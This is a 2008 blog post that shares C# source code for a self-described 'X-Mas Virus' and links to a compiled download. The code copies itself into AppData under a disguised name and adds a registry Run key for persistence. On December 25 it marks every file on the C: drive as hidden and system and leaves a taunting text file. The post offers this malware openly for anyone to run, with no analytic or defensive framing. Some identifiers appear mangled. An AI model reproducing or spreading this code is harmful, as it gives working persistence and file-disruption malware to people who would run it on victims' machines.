Thursday, February 21, 2008

[C#]X-Mas Virus [Simple - NonDestructive]

[C#]X-Mas Virus [Simple - NonDestructive]
[C#]X-Mas Virus [Simple - NonDestructive]

For Syntax Highligting:

Code:
http://g0t-paste.net/?id=2410384&lang=csharp

Source:
Code:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Threading;
using System.IO;
using System.Text;
using System.Windows.Forms;
using Mcft.Win32;

namespace proj
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}

private void Form1_Load(object sender, EventArgs e)
{
string me = Application.ExecutablePath;
string to = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\wdmon.exe";
File.Copy(me, to, true);
string keyname = "wdmon";
string runKeyBase = @"SOFTWARE\Mcft\Windows\CurrentVersion\Run\";
RegistryKey runKey = Registry.LocalMachine.CreateSubKey(runKeyBase);
runKey.SetValue(keyname, to + "\\wdmon.exe");
runKey.Close();

if (DateTime.Now.Month == 12)
{
if (DateTime.Now.Day == 25)
{
Thread.Sleep(50000);
string Desktop = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
using (StreamWriter sw = File.CreateText("Christmas-Ownage.txt"))
{
sw.WriteLine("You Got Owned by illuz1oN's X-Mas Virus, ~censored~ You!");
sw.WriteLine();
sw.WriteLine();
foreach (string filePath in Directory.GetFiles(@"C:/", "*", SearchOption.AllDirectories))
{
File.SetAttributes(filePath, FileAttributes.Hidden | FileAttributes.System);
sw.WriteLine("Your File: " + filePath + " Just Got Owned");
}
}
}
}
}


that code will be useless without the GUI

so here it is compiled.

http://rapidshare.com/files/67011300/X-MasVirus.rar

Anybody can run this.

if ONLY runs the virus code when its December 25th